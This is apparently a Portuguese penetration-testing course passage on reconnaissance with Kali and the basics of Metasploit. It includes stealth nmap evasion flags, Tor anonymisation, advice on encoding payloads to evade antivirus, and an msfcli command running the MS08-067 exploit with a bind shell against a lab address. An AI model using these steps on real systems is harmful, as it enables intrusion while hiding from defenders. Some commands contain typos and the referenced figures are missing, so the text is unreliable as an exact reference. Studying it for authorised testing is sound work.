As ferramentas para mapeamento de rota foram originalmente usadas como  ferramentas de diagnóstico e que permitem a visualizção do percurso que segue um pacote IP de um hospedeiro para outro. Usando o tempo de vida (TTL) de um pacote IP. Cada salto de um ponto para o próximo provoca um ICMP TIME_EXCEEDED mensagem do router de recepção, diminuindo o valor em 1 campo do TTL. Os pacotes de devem contar o número de saltos e a rota tomada.

Do ponto de vista do atacante ele pode mostrar os seguintes dados importantes:
• O caminho exato entre o atacante ao alvo;
• Dicas pertencente a topologia da rede externa;
• Identificação de dispositivos de controle de acesso (firewalls e
roteadores de filtragem de pacotes) que podem filtrar tráfego de ataque e muitas outras.
No Kali é traceroute e é um programa de linha de comando que usa pacotes ICMP para mapear a rota; no Windows, o programa é o tracert.
Se você iniciar o traceroute no Kali, é provável que você veja a maioria dos saltos filtrados (os dados são apresentados como * * *). Por exemplo:

Portanto, quando usar o traceroute usando o Kali , é importante usar vários protocolos, a fim de se obter o caminho mais completo, e para ignorar os packetfiltering de dispositivos.

O Kali fornece as seguintes ferramentas para a conclusão de vestígios de rota:

 

hping3

Este é um montador de TCP / IP e um analisador de pacotes. Ele suporta TCP, UDP, ICMP etc. Use o comando info hping para ver as opções

 

#info hapin3

 

intrace

O itrace permite aos usuáriosenumerar as conexões em ambos os lados, iniciadoa partir do sistemalocal ou de rede, ou a partir de hosts locais. Torna-se muitoútil paracontornarfiltros externos tais como firewalls.

 

trace6

O mesmo que traceroute, só que para ICMP6.

Digite #trace6 e pressione enter par ver suas opções.

 

Obtendo informações do usuário

Muitos testadores de penetração reune nomes de usuários e endereços de e-mail, como informações relevantes e freqüentemente as usa para fazer logon em algum sistema.
A ferramenta mais comumente empregada é o navegador web, que é usado para pesquisar manualmente um site, bem como sites de terceiros, tais como centraldacapacitacao ou academialinux.


Algumas ferramentas automatizadas incluídas no Kali podem complementar as buscas manuais.

 

Reunindo nomes e endereços de e-mail

A ferramenta theharvester é um script Python que busca através de pesquisa popular motores e outros sites para contrar os endereços de e-mail, hosts e subdomínios.


A utilização do theharvester é relativamente simples, havendo apenas alguns comandos para definir as configurações de pesquisa. As opções disponíveis são:

 -d: identifica o domínio a ser pesquisado; geralmente o domínio ou Web site do alvo.
 - b: identifica a fonte para extrair os dados; deve ser um dos os seguintes:
Bing, BingAPI, Google, Google-Profiles, LinkedIn, People123, PGP, ou Todos

- l: Esta opção estabelece limites ao theharvester.

-f: Essa opção é usada para guardar os resultados finais em um arquivo em XML.

As figuras abaixo mostram os resultados de uma pesquisa simples dos índices do Google para o domínio clubedohacker:

Tela inicial

 

Tela final

 

Coleta de metadados de documentos

Metadados de documento refere-se à informação que é anexado aos documentos de modo que as aplicações possam gerenciá-los durante os processos de criação e de armazenamento.

Exemplos de metadados normalmente anexado aos documentos incluem o seguinte:
• A empresa ou pessoa que possui o aplicativo usado para criar o documento,
• O nome do autor do documento,
• A hora e a data em que o documento foi criado,
• A data em que o arquivo foi impresso pela última vez ou modificado; em alguns casos, ele irá identificar quem fez as modificações,
• A localização na rede de computadores em que o documento foi criado,
• Alguns arquivos, especialmente aqueles criados por câmeras ou dispositivos móveis, podem incluir tags geográficas que identificam onde a imagem foi criada, Os  metadados não são  imediatamente visível para o usuário final, por isso a maioria dos documentos são publicados com os metadados intactos. Infelizmente, esse vazamento de dados pode revelar informação que podem ser usadas por uma maquina de testes para facilitar o atacante ou um ataque.

Um atacante pode ter acesso aos nomes de usuário, comparando-os aos dados nos documentos; ele pode identificar pessoas associadas a determinados tipos de dados, tais como relatórios financeiros anuais ou de planejamento estratégico.

Como os dispositivos móveis se tornaram mais comuns, os riscos associados à posição geográfica dos metadados tem aumentado. Atacantes estao a procura de locais (casas apt´s, hotéis, e restaurantes que são frequentemente visitados), bem como sites que podem lhes permitir lançar ataques contra usuários despreocupados com a segurança, na maioria das vezes por falta de conhecimento.

No Kali, a ferramenta Metagoofil realiza uma pesquisa no Google para identificar e fazer o download de documentos de um site-alvo (doc, docx, pdf, pptx, xls, e XLSX) e listas de usernames, versão de softwares, nomes e caminhos de armazenamento em um servidor ou estação de trabalho.:

O Metagoofil também identifica servidores e caminhos dos documentos. Se certos documentos de interesse estão localizados a um usuário específico (por exemplo, projetos, relatórios financeiros etc.

Furtividade e estratégias de pesquisa

O maior risco do reconhecimento ativo é ser descoberto pelo alvo, mesmo antes de você pensar na melhor forma de ataque. Portanto, técnicas de discrição devem ser empregadas para minimizar as possibilidades de detecção. Ao empregar a furtividade para apoiar o reconhecimento, um atacante fará o seguinte:
• Assinaturas de ferramentas de camuflagem para evitar a detecção e acionar um alarme;
• Ocultar o ataque dentro do tráfego legítimo;
• Modificar o ataque para ocultar a origem e o tipo de tráfego;
• Fazer o ataque de forma invisível usando tipos de tráfego fora do padrão ou de criptografia;
• Ajustar as configurações de identificação de fonte da pilha IP;
• Modificar os parâmetros dos pacotes (nmap);
• Usar proxies como as redes de anonimato (proxychains e rede Tor);

 

Ajustando pilha IP

Antes de começar os trabalhos de analise, é necessário assegurar-se que todos os serviços desnecessários no Kali estarão desativados ou parados.

A maioria dos atacantes preferem desativar o IPv6.
editando o arquivo /etc/sysctl.conf para incluir as seguintes linhas:

#disable ipv6

net.ipv6.conf.all.disable_ipv6 = 1

net.ipv6.conf.default.disable_ipv6 = 1

net.ipv6.conf.lo.disable = 1

Algumas ferramentas comerciais e open source (por exemplo, o Metasploit Framework) marcam seus pacotes com uma sequência de identificação. Embora isto possa ser útil em análise pós-teste de logs de eventos de um sistema (onde os eventos iniciados por uma determinada ferramenta de teste pode ser comparado diretamente com os logs de eventos de um sistema para determinar como a rede detectada responde ao ataque).

O UserAgent no Metasploit Framework pode ser alterado modificando a opção ttp_form_field. A partir da linha de comenados msfconsole, selecione a opção de use/auxiliares/fuzzers /http /http_form_field, em seguida, defina um novo useragent, como mostrado na imagem a seguir:

Neste exemplo, o UserAgent foi definido para ser a rede indexada do Google, o Googlebot. Esta é uma aplicação automatizada comum que visita e indexa sites, e raramente atrai a atenção do proprietário do site.

 

Modificando os parâmetros do pacote

A abordagem mais comum para reconhecimento ativo é a realização de uma varredura contra o alvo, e então usar os pacotes devolvidos para conseguir as informações. A ferramenta mais popular deste tipo é o Network Mapper (nmap). Para usar o nmap de forma eficaz, ele deve ser executado com privilégios de root. Isto é típico de ferramentas que manipulam os pacotes, razão pela qual o padrão para o Kali é root / no momento da inicialização.

 

Para tentar minimizar a detecção, algumas técnicas de ocultação são necessárias:
• Identificar o objetivo do footprint antes do teste e enviar o número mínimo
de pacotes necessários para determinar o objetivo. Por exemplo, se você desejar confirmar a presença de um host, você primeiro precisa determinar se a porta 80, a porta padrão para serviços baseados na web, está aberta.
• Evite scans que podem se conectar com o sistema de destino.

 Não dé ping no alvo ou use sincronização (SYN) nem e scans de pacotes convencionais, como reconhecer (ACK), acabando com (FIN), e pacotes (RST).
• Ajuste a temporização para retardar a chegada de pacotes no alvo.
• Altere o tamanho do pacote fragmentando pacotes ou anexe dados aleatórios para confundir dispositivos de inspeção de pacotes. Por exemplo, se você deseja realizar uma varredura furtiva e minimizar a detecção, o seguinte comando no nmap poderia lhe ajudar: #nmap --spoof-mac- Cisco --data-length 24 –T paranoid –max-hostgroup

1 – max-parallelism 10 -PN -f –D xx.x.xx.5, RND:5,ME --v –n –sS

–sV–oA /desktop/pentest/nmap/out –p T:1-1024

–random-hosts xx.x.x.10 xx.x.x.15

 

A tabela a seguir explica o comando anterior em detalhes:

Comando

Analise racional

--spoof-mac-Cisco

Coloca o endereço MAC para corresponder a um produto Cisco. Substituindo Cisco por 0 irá criar um endereço MAC aleatório.

--data-length 24

Acrescenta vinte e quatro bytes aleatórios para a maioria dos pacotes que são enviados.

-T paranoid

Define o tempo para o mais lento de definição de paranóico.

--max-hostgroup

Limita os hosts que serão examinados de cada vez.

--max-parallelism

Limita o número de sondas que serão enviadas. Você também pode usar o --scan-delay opção que define uma pausa entre as sondas; Más, esta opção não tem muita compatibilidade.

-PN

Não executar ping para identificar sistemas ativos (isso pode vazar dados).

-f

Fragmenta os pacotes; isso vai freqüentemente enganar low-end e IDs configurados incorretamente.

-D 10.1.20.5, RND:5,ME

Cria footprints enganosos para executar de forma simultâna com a varredura do atacante; escondendo o ataque real.

-n

Sem resolução de DNS; Os DNS interno ou externo de servidores não são consultados pelo nmap.

-sS

Realizavarredura com discriçãoTCPSYN,  que não completa ohandshakeTCP.

-sV

Permite a detecção de versão.

-oA /desktop/pentest/nmap

Exibe os resultados no formato XML

-p T:1-1024

Especifica as portas TCP a serem varridas.

--random-hosts

Randomiza a ordem de host de destino.

OBS: Juntas, essas opções irão criar uma varredura muito lenta que esconde a verdadeira identidade da fonte. No entanto, se os pacotes são muito incomuns, uma modificação complexa pode realmente atrair a atenção do alvo; portanto, muitos atacantes usam redes anonimas para minimizar a detecção.

 

Usando proxies (Tor e Privoxy)

O Tor (www.torproject.org) é uma implementação open source de terecira geração, conhecido pelo formato de cebola que oferece acesso gratuito a uma rede de proxy anônimo e permite acesso online criptografando o tráfego do usuário e, em seguida, transmitindo-o através de uma série de routers em varias camadas.

Em cada roteador, uma camada de criptografia é removida para se obter informação de encaminhamento, e a mensagem será então transmitida para o próximo nó.

Ele tem sido comparado ao processo de descamação gradual, assim como uma cebola, daí o nome. Ele protege contra ataques de análise de tráfego, protegendo a fonte e destino do tráfego IP de um usuário.

 

Para instalar o Tor, execute os seguintes passos:

  1. Digite os comandos apt-get update e apt-get upgrade para baixar as utimas atualizações e em seguida, use o seguinte comando:

apt-get install tor

 

  1. Uma vez que o Tor esteja instalado, edite o arquivo Proxychains.conf localizado no diretório /etc.

Este arquivo determina o número e a ordem dos proxies que o sistema de testes irá usar no caminho para a rede Tor.

Servidores proxy podem ser lentos, ou podem enfrentar uma carga pesada (causando conexões lentas); Portanto deve-se, desativar o uso de strict_chains e permitir bdynamic_chains, o que garante que a coneção seja direcionada, como mostrado na imagem a seguir:

  1. Em seguida, edite a seção [ProxyList] para assegurar que o proxy eteja usando sock5 como mostrado na imagem seguinte:

 

Proxies abertos podem ser facilmente encontrados on-line e adicionados ao arquivo proxychains.

  1. Para iniciar o serviço do Tor a partir de uma janela de terminal, digite o comando a seguir: root@kali:~# service tor start
  2. Verifique se o Tor iniciou, use o comando: root@kali:~# service tor status
  3. É importante verificar se a rede Tor está no ar e fornecendo conectividade anônima. Verifique o seu endereço IP de origem em primeiro lugar. A partir de um terminal, digite o comando: root@kali:~# iceweasel www.whatismyip.com

Isto irá iniciar o navegador Iceweasel e abri-lo para um site que fornece o endereço IP de origem conectado com a página web. Anote o endereço IP, e em seguida, chame o Tor usando o comando:

root@kali:~# proxychainsiceweasel www.whatismyip.com

Você também pode verificar se o Tor está funcionando corretamente, acessando

https://check.torproject.org.

Embora as comunicações estejam protegidas usando a rede Tor, é possível que um vazamento de DNS ocorra quando o sistema fizer uma solicitação DNS para fornecer a sua identidade a um ISP. Você pode verificar se há vazamentos de DNS no www.dnsleaktest.com.

Ao usar o Tor, algumas considerações a serem observadas:

  • O Tor fornece um serviço de anonimato, mas não garante privacidade. Os proprietários dos nós de saída são capazes de farejar o tráfego, e supostamente pode ser capaz de acessar as credenciais dos usuários.
  • Supostas vulnerabilidades no Browser do Tor têm sido utilizadas pela lei para obter informações dos usuários.
  • O proxychains não lida com o tráfego UDP.
  • Algumas aplicações e serviços não funcionam sobre este ambiente em particular, Metasploit e nmap. A varredura SYN do nmap interrompe o proxychains e o footprint.
  • Alguns aplicativos de navegador (ActiveX, aplicações Adobe PDF, Flash, Java, RealPlay, e QuickTime) pode ser usado para obter o seu endereço IP.
  • Certifique-se de apagar cookies etc. antes da navegação.

 

Metasploit

 O Metasploit Framework utiliza plataforma de código aberto e oferece uma biblioteca consistente e confiável de exploits constantemente atualizados, oferece um ambiente de desenvolvimento completo para a construção de novas ferramentas e automação em todos os aspectos de um teste de penetração.

O Metasploit Framework é um projeto volátil; o código fonte é atualizado dezenas de vezes todos os dias por um grupo de desenvolvedores e submissões de centenas de colaboradores da comunidade.

 

Introdução

Imagine que em algum momento no futuro não muito distante um atacante decide atacar os ativos digitais de uma empresa multinacional, tendo como alvo centenas de milhões de dólares em propriedade intelectual e milhões de dólares em infraestrutura.

Naturalmente, o atacante começa baixando a última versão do Metasploit.

Depois de explorar o perímetro do alvo, ele encontra um ponto fraco e começa a série metódica de ataques, mas mesmo depois de ele comprometer em quase todos os aspectos da rede, para ele a festa está apenas começando. Ele passeará através de sistemas, identificando núcleo, componentes críticos de negócios que mantêm a empresa execução. Com uma única tecla, ele poderia ajudar a si mesmo a comprometer milhões de dólares da empresa e todos os seus dados confidenciais.

 

Por que Metasploit?

O Metasploit não é apenas uma ferramenta; é uma estrutura inteira que fornece a infraestrutura necessária para automatizar a sua rotina e tarefas complexas. Ele lhe permite concentrar-se nos aspectos únicos ou especializados de testes de penetração e na identificação de falhas dentro de seu programa de segurança da informação.

Conforme você avança nesse curso você irá descobrir e montar uma metodologia própria, você vai começar a ver muitas maneiras em que o Metasploit pode ser usado em seus testes de penetração. O Metasploit permite que você facilmente construa vetores de ataque para aumentar suas façanhas, cargas úteis, encoders, diversas formas de você criar e executar ataques mais avançados. Em vários pontos Neste curso iremos explicar passo a passo as várias ferramentas e alguns scripts escritos por e pelos desenvolvedores do Metasploit Framework. Nosso objetivo é começar com um quadro confortável, estudando alguns ataques avançados, e garantir que você possa aplicar estas técnicas de forma responsável.

 

Uma Breve História do Metasploit

O Metasploit foi originalmente concebido e desenvolvido por HD Moore, quando trabalhava para uma empresa de segurança.

Quando HD percebeu que estava gastando a maior parte de seu tempo com validação de código de e exploração de código resolveu começar a escrever uma estrutura flexível e sustentável para a criação e desenvolvimento de exploits.

Ele lançou a primeira edição do Metasploit baseado em Perl em outubro de 2003 com um total de 11 exploits. Em seguida obteve ajuda e lançou uma versão totalmente reescrita do projeto, o Metasploit 2.0, em abril de 2004.

Esta versão já incluiu 19 exploits e 27 payloads. Logo após este lançamento, Matt Miller (Skape) se juntou a equipe de desenvolvimento do Metasploit e como o projeto ganhou popularidade dentro da comunidade de segurança da informação, rapidamente tornou-se uma ferramenta necessária para testes de penetração e exploração.

Na sequência ele foi reescrito em linguagem de programação Ruby, e lançado a versão 3.0 em 2007. A migração do Framework de Perl para o Ruby levou 18 meses e resultou em mais de 150 mil linhas de código novo.

 

Com a versão 3.0, Metasploit viu adopção generalizada na comunidade de segurança e um grande aumento das contribuições dos usuários. No outono de 2009 o Metasploit foi adquirido pela Rapid7, empresa líder no campo de detecção de vulnerabilidade, o que permitiu que HD pudesse montar uma equipe para se concentrar exclusivamente no desenvolvimento do Metasploit Framework.

 

Após isso podemos perceber que as atualizações têm ocorrido mais rapidamente do que qualquer um poderia ter imaginado. A Rapid7 lançou dois produtos comerciais baseados no Metasploit Framework: O Metasploit Express e Metasploit Pro.

O Metasploit Express é uma versão do Metasploit Framework com uma GUI e funcionalidades adicionais, incluindo relatórios, entre outras características úteis. O Pro Metasploit é uma versão expandida do Metasploit Express que agrega a colaboração de diversos grupos de testes de penetração.

 

Noções básicas do Metasploit

Quando você encontrar o Metasploit Framework (MSF) pela primeira vez, você pode ficar em duvida com tantas interfaces, opções, utilitários, variáveis e módulos.

Terminologias: Vamos conhecer alguns termos comumente utilizados no Metasploit que são padrão tanto no Metasploit quanto na indústria de segurança.

Exploit: Um exploit é um código utilizado por um atacante com o objetivo de explorar determinada vulnerabilidade, aproveitando-se de uma ou mais falhas em um sistema operacional, aplicativo ou um serviço.  Um atacante utiliza um exploit para atacar um sistema de maneira que resulte em ganho de acesso não autorizado.

Payload: É uma carga útil, É o código que será utilizado para a execução propriamente dita. Por exemplo, uma conexão reversa é uma carga que cria uma conexão a partir da máquina alvo de volta para o atacante como o prompt de comandos do Windows, enquanto que uma shell bind é uma carga que "conecta" a um prompt de comando em uma determinada porta de escuta na máquina de destino e que o atacante pode se conectar tranquilamente.

A carga pode ser algo tão simples quanto alguns comandos a serem executados no sistema operacional de alvo.

Shellcode: Shellcode é um conjunto de instruções utilizadas como uma carga útil quando ocorre a exploração. Shellcode normalmente é escrito em linguagem assembly. Na maioria dos casos, um comando Shell ou uma conexão Meterpreter será fornecido após uma série de instruções a serem realizados pela máquina de destino alvo.

Module: Um módulo em nosso contexto é um pedaço de software que pode ser usado pelo Metasploit Framework.

Às vezes, você pode ser necessários a utilização de um exploit, um componente de software que realiza o ataque.

Más em alguns casos, um módulo auxiliar pode ser necessário para executar uma determinada ação, como a o footprint ou enumeração do sistema.

Ouvinte: Um ouvinte é um componente dentro Metasploit que espera por uma conexão de entrada de algum tipo.

Por exemplo, após a máquina de destino ter sido explorada, ela pode perfeitamente chamar a máquina de ataque através da Internet.

O ouvinte serve também para esse propósito, esperando na máquina de ataque por uma conexão que virá do sistema explorado.

INTERFACES DO METASPLOIT: O Metasploit oferece mais do que uma interface para a sua funcionalidade subjacente, incluindo console, linha de comando, e interfaces gráficas.

Além dessas interfaces, utilitários fornece acesso direto às funções que são normalmente internas para o Metasploit Framework. Esses utilitários podem ser inestimáveis para exploração.

MSFconsole: Msfconsole é, de longe, a console mais popular do Metasploit Framework e por uma boa razão. É um dos mais flexíveis e rico em recursos, e bem suportado pelas ferramentas dentro do quadro.

Embora o Metasploit Framework esteja em constante mutação, um subconjunto de comandos permanecem relativamente constantes. Ao dominar as noções básicas da msfconsole você será capaz de manter o conhecimento, mesmo com todas as mudanças.

INICIANDO A MSFconsole: Para iniciar msfconsole, digite msfconsole na linha de comando:

/# cd /usr/share/metasploit-framework/

/# /usr/share/metasploit-framework/# msfconsole

Ou simplesmente /# msfconsole , dependendo de como estiver configurado o seu sistema o resultado será visto na imagem a seguir.

Para acessar os arquivos de ajuda msfconsole, digite HELP seguido pelo comando que você esteja interessado. No próximo exemplo, estamos à procura de ajuda para o comando conect, o que nos permite comunicar com um host.  msf > help connect

Vamos explorar msfconsole em maior profundidade mais a frente em nosso curso.

MSFcli: Msfcli e msfconsole tem uma abordagem diferentes para fornecimento de acesso ao Framework. A msfconsole fornece uma forma interativa de acessar todos os recursos de uma forma amigável o msfcli coloca a prioridade no scripting em conjunto com outras ferramentas baseado em console.

Em vez de fornecer um interpretador único, o msfcli roda diretamente a partir da linha de comando, que permite redirecionar a saída de outras ferramentas na msfcli e direcionar a saída para outras ferramentas de linha de comando.

A Msfcli também é útil para os testes e explorações, módulos auxiliares e que pode ser conveniente quando se quer testar módulos ou o desenvolver novos exploits.

/# /usr/share/metasploit-framework/# msfconsole

/# /usr/share/metasploit-framework/# msfcli

A primeira tela a aparecer logo após o comando é como a imagem a seguir.

 

Exemplo de uso: Vamos dar uma olhada em como você pode usar msfcli. Não se preocupe com os detalhes; estes exemplos são destinados a dar-lhe um sentido de como você pode trabalhar com esta interface.

Quando você estiver estudando com Metasploit ou sempre que ficar em dificuldades, você pode ver as opções disponíveis em um módulo, acrescentando a letra S no final. Por exemplo: :/# msfcli windows/smb/ms08_067_netapi S

Você pode ver que o módulo requer três opções que devem estar configuradas para funcionar corretamente: Agora, devemos verificar quais cargas úteis nós temos disponíveis, “cargas são os payloads”: Letra P

:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P

Tendo definidas todas as opções necessárias para o nosso exploit e selecionando uma carga útil para rodar você pode usar a letra E no final do argumento, logo após a seleção do payload, como mostrado no exemplo a seguir: /# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E

Armitage: O componente Armitage do Metasploit é uma interface gráfica para o usuário e é totalmente interativo “criada por Raphael Mudge” Esta interface é impressionante, pela sua qualidade e quantidade de recursos disponíveis gratuitamente.

Rodando o Armitage: Para iniciar o Armitage, execute o comando Armitage. Durante a inicialização, selecione Iniciar MSF, que permitirá que o Armitage se conecte a sua instância no Metasploit. msf# armitage

Quando o Armitage estiver em execução, simplesmente escolhemos em seu menu para realizar um determinado ataque ou acesso a outra funcionalidade do Metasploit. Como no exemplo a seguir.

Veja a seguir a execução do armitage:

Utilitários do Metasploit: Após termos mostrado algumas das principais interfaces do Metasploit, é hora de conhecer alguns utilitários. Utilitários do Metasploit são interfaces diretas para as particularidades do Framework que pode ser útil em situações específicas, especialmente em explorar o sistema alvo.

Vamos cobrir alguns dos utilitários mais acessíveis aqui e introduzir os adicionais ao longo do curso.

MSFpayload: O componente msfpayload do Metasploit permite gerar shellcode, executáveis e muito mais para uso em explorações.

Shellcode pode ser gerado em diversos formatos, incluindo C, Ruby, JavaScript e até mesmo em Visual Basic. Cada formato de saída servirá para uma tarefa especifica.

Para ver quais opções o utilitário traz, digite msfpayload -h na linha de comandos, como mostrado a seguir: /# msfpayload –h

Assim como como acontece com o msfcli, se você se tiver duvidas em quais opções serão necessárias para uma carga, acrescente a letra O na linha de comandos.

:/# msfpayload windows/shell_reverse_tcp O

MSFencode: O código shell gerado pelo msfpayload é totalmente funcional, mas contém várias caracteres nulos que, para serem interpretados pelos programas e fará com que o código não encerre antes da conclusão.

As shellcodes podem ser detectadas por sistemas de detecção de intrusão (IDSs) e software antivírus. Para resolver este problema, os desenvolvedores do Metasploit disponibilizaram o msfencode, que ajuda você a evitar ser detectado e passar pelos antivírus e IDSs através de codificação da carga inicial de uma forma que não inclui itens suspeitos.

Digite msfencode -h para ver uma lista de opções.

O Metasploit contém um grande número de diferentes codificadores para situações específicas.

Alguns vão ser úteis quando você quiser usar apenas caracteres alfanuméricos como parte de uma carga útil, como é o caso de muitas explorações de formato de arquivo ou outras aplicações que aceita apenas caracteres visíveis como entrada.

Veja a lista de encoders disponíveis, acrescente -l para o msfencode como mostrado a seguir. Os payloads são classificados por ordem de confiabilidade.

Nasm Shell: O utilitário nasm shell.rb pode ser útil quando você estiver tentando criar um código especifico, especialmente se, durante a exploração você precise identificar as opções.

Metasploit Express e Metasploit Pro: O Metasploit Express e Metasploit Pro são interfaces web comerciais para o Metasploit Framework. Estes utilitários fornecem automação substancial e torna as coisas mais fáceis para quem está começando, enquanto continua a fornecer acesso total ao Framework.

Ambos os produtos também fornecem ferramentas que não estão disponíveis nas edições fornecidas para a comunidade, como força bruta de senhas automatizada, ataques automatizados em site.

Além disso, um bom suporte para Metasploit Pro pode ajudar na velocidade e esclarecimentos  de duvidas sobre a hora mais critica, que é a hora de escrever p relatório final para entrega ao cliente.

Se todas estas ferramentas de facilidade vale a pena comprar a verão pro, fica por sua conta decidir.

As edições comerciais do Metasploit se destinam a profissionais testadores de penetração e pode aliviar muitos dos aspectos mais rotineiros do trabalho, mas se a economia de tempo dos processos automatizados nestes produtos comerciais são muito úteis para você, podem justificar o preço de compra.

Concluindo: Unidade você aprendeu um pouco dos conceitos básicos do Metasploit Framework. Na medida em que você for progredindo na disciplina, você vai começar a usar essas ferramentas suas capacidades mais avançadas.

Você vai encontrar algumas maneiras diferentes de realizar as mesmas tarefas usando ferramentas diferentes.

 

Trabalhando com bancos de dados no Metasploit:

Quando você está executando um determinado trabalho complexo com um monte de tarefas e quiser se manter informado de tudo, não somente agora, más posteriormente, você terá pela frente um grande desafio.

Felizmente o Metasploit tem como apoio, vários sistemas de banco de dados. Para garantir que o banco de dados esteja disponível para o seu sistema você deve primeiro decidir qual sistema de banco de dados deseja executar.

O Metasploit dá suporte a MySQL e PostgreSQL; sendo que o PostgreSQL é o padrão, então vamos trabalhar com ele.

Primeiro, vamos começar o subsistema de banco de dados iniciando o serviço.

Assim que o PostgreSQL for iniciado, você deve mandar o Framework se conectar à instância de banco de dados. Esta conexão requer um nome de usuário, senha, e nome de host no qual o banco de dados estiver em execução, bem como o nome do banco de dados que queremos usar. Faça a conexão.

Se for a primeira vez que estiver conectando, você deve informar o nome do banco. Caso contrário, o comando irá retornar ao prompt msfconsole.

O Metasploit fornece uma série de comandos que se pode usar para interagir com o banco de dados, como você verá ao longo dessa disciplina. (Para ter uma lista completa solicite ajuda através do help.)

msf > db_status

 

Importação de resultados do Nmap para o Metasploit

Quando você estiver trabalhando para de uma equipe onde outros membros estão armazenando dados do mesmo projeto em diferentes momentos e de diferentes locais é importante colocar os dados e gerenciar de forma centralizada.

A seguir, vamos examinar como importar um arquivo básico gerado pelo nmap e exportar em XML (O arquivo deve ser gerado com a opção -oX do nmap).

Em primeiro lugar você deve concluir a varredura da máquina alvo usando a opção -oX para gerar um arquivo 1.xml sub-rede: nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24

Depois de gerar o arquivo XML, usamos o comando de importação para importar para o banco de dados. Para checar se tudo correu bem use o comando db_hosts, que irá listar as entradas de sistemas que foram criados, como mostrado aqui:

msf > db_connect postgres:toor@127.0.0.1/msf

msf > db_import Subnet1.xml

msf > db_hosts -c address

Essa informação é apenas a confirmação que o arquivo foi importado com êxito a saída do nosso nmap escaneada no Metasploit.

 

Advanced Nmap Scanning: TCP Idle Scan: É um método de verificação do nmap mais avançado, que nos permite escanear um alvo furtivamente por falsificação do endereço IP de outro host na rede que esteja ocioso.

Para esse tipo de varredura, primeiro você precisa localizar um host ocioso na rede. Quando descobrir um sistema ocioso que usa. (Para saber mais sobre este módulo e sequências de identificação IP, visite a url http://www.metasploit.com/modules/auxiliary/

 

scanner / ip / ipidseq: Use módulo scanner / ip / ipidseq do Framework para procurar um host que se encaixa nos requisitos de verificação TCP ociosas, como mostrado a seguir:

 

Esta lista é mostrada com as opções necessárias para a ipidseq escanear:

 rhosts em 1 threads e pode enviar faixas de IP (como 192.168.1.20-192.168.1.30);

Classless Inter-Domain Routing (CIDR);

Vários intervalos separados por vírgulas (como 192.168.1.0/24, 192.168.3.0/24);

e um arquivo de texto com um host por linha (como o file: /tmp/hostlist.txt).

O valor threads em 2 define o número de threads simultâneos que você deseja usar durante a varredura.

Por padrão, todos os módulos de scanner têm o seu valor inicialmente definido para 1. Nós podemos elevar esse valor para acelerar nossos scans ou abaixá-lo para reduzir o tráfego de rede.

Em geral, você nunca deve utilizar mais que 16 nesse campo para executar o Metasploit em sistemas Windows, e não superior a 128 em sistemas operacionais UNIXlike.

Agora vamos definir os nossos valores e executar o módulo. Vamos definir o valor para rhosts para 192.168.1.0/24, definir segmentos para 50, e, em seguida, executar a verificação.

A julgar pelos resultados de nossa análise, vemos um número de potenciais hosts ociosos que podemos usar para executar a digitalização ociosa.

Vamos tentar a digitalização de um host como mostrado a seguir: 

 

Rodando o Nmap com msfconsole

Agora que possivelmente você já deve ter realizado a enumeração avançada, vamos conectar o Nmap com Metasploit.

Para fazer isso, primeiro se conecte ao banco de dados:

Agora você deve ser capaz de inserir o comando db_nmap de dentro da msfconsole para executar o nmap e ter seus resultados armazenados automaticamente em seu banco de dados: Exemplo

Após o comando acima veja se existem portas abertas, versões de softwares e informações prévias sobre o sistema operacional do alvo.

 

Para verificar se os resultados da verificação foram armazenados no banco de dados execute serviços db_services:

 

Port Scanning com Metasploit: Além da capacidade de usar scanners de terceiros, o Metasploit tem vários scanners de portas construídos em seus módulos auxiliares que se integram diretamente.

 

Vamos conhecer alguns desses scanners de portas a seguir.

Para ver a lista de ferramentas de verificação de porta que o Framework oferece, utilize o comando:

Vamos realizar uma simples varredura de um único host usando o Metasploit SYN.

Na listagem a seguir, começamos a varredura com um scanner de porta / portscan /

syn, defina rhosts, THREADS, e, em seguida, execute a varredura.

msf auxiliary(syn) > run

 

Escaneando alvos: Quando você está conduzindo um trabalho de invasão com o arsenal do Kali, você talvez imagine que terá uma vitória fácil.

Uma varredura em um determinado sistema operacional, serviços, versões de programa, ou configurações que são conhecidos por serem já explorados e que fornecem uma porta fácil de fácil acesso a rede.

Por exemplo, é comum encontrar em uma rede alguma máquina com versão antiga do sistema operacional onde ainda tem a vulnerabilidade MS08-067, já que esse é um problema dos sistemas Microsoft, más que já foi corrigido nos sistemas após o Windows 2003. Vamos tomar essa vulnerabilidade como exemplo para nossa tarefa pratica.

 

Utilize a ferramenta smb_version.

Os resultados desta verificação são armazenados no banco de dados do Metasploit para uso em um momento posterior e deve ser acessado com o comando db_hosts.

mssql_ping: A ferramenta mssql_ping mostra todos os detalhes e pode extrair informações importantes, como a porta TCP na qual o servidor está escutando.

Veja como você pode executar uma varredura mssql_ping, que inclui iniciar a varredura, listando as opções e os resultados.

Scanning de servidor SSH

Se durante a sua varredura você encontrar máquinas com o Secure Shell (SSH), você deve descobrir qual versão está sendo executada no alvo. O SSH é um protocolo seguro, porém já foram identificadas varias vulnerabilidades nele.

Nós nunca sabemos quando vamos ter sorte e se deparar com uma máquina antiga que não tenha sido atualizada. Você pode usar o módulo do Framework ssh_version para determinar a versão SSH em execução no servidor de destino.

A saída irá nos dizer quantos servidores diferentes estão em execução. Estas informações podem ser úteis se, por exemplo, você quiser atacar uma versão específica do OpenSSL.

 

FTP Scanning: FTP é um protocolo complicado e inseguro. Os servidores FTP são muitas vezes o caminho mais fácil para uma rede destino, e você deve sempre procurar, identificar o banner de quaisquer servidores FTP em execução no seu alvo.

Execute o modulo ftp_version para fazer essa varredura com o comando:

msf > use scanner/ftp/ftp_version

O scanner identifica com sucesso as configurações de um servidor FTP.

 

Simple Network Management Protocol Sweeping: O Simple Network Management Protocol (SNMP) é normalmente usado em dispositivos de redes para relatar informações, tais como a utilização de banda, colisão, taxas, e outras informações. No entanto, alguns sistemas operacionais também têm servidores SNMP que podem fornecer informações, tais como a utilização da CPU, memória livre e outros detalhes específicos do sistema.

Após uma varredura para tentar adivinhar as sequências, SNMP e, (dependendo da versão) pode-se permitir a divulgação de informações que leve um invasor a disparar um ataque bem sucedido. Use o scanner snmp_login do Framework para encontrar as sequencias etc.

Com uma rápida pesquisa no Google por GSM7224 você encontra muito mais sobre informações sobre isso.

 

Comandos do Metasploit Framework:

msf> show exploits

